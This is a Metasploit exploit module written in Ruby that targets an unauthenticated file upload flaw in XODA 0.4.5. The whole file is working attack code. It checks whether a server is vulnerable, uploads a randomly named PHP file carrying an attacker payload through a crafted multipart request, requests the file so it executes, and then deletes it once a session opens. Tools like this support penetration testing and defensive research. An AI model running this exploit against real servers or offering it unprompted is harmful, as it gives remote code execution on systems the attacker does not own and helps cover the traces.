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xoda_file_upload.rb
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xoda_file_upload.rb
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers
can abuse the "upload" command in order to upload a malicious PHP file without any
authentication, which results in arbitrary code execution. The module has been
tested successfully on XODA 0.4.5 and Ubuntu 10.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shai rod', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'EDB', '20703' ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['XODA 0.4.5', {}],
],
'Privileged' => false,
'DisclosureDate' => "Aug 21 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"])
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}?upload_to="
})
if res and res.code == 200 and res.body =~ /Upload a file/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm(@payload_name)
else
client.shell_command_token(@payload_name)
end
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
@payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
boundary = "---------------------------#{Rex::Text.rand_text_numeric(27)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"#{@payload_name}\"\r\n\r\n"
post_data << "<?php "
post_data << payload.encoded
post_data << " ?>\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n"
post_data << "\r\n"
post_data << "--#{boundary}--\r\n"
print_status("#{peer} - Sending PHP payload (#{@payload_name})")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}?upload",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})
if not res or res.code != 302
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_status("#{peer} - Executing PHP payload (#{@payload_name})")
# Execute our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}files/#{@payload_name}"
})
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_status("#{peer} - Server returned #{res.code.to_s}")
end
end
end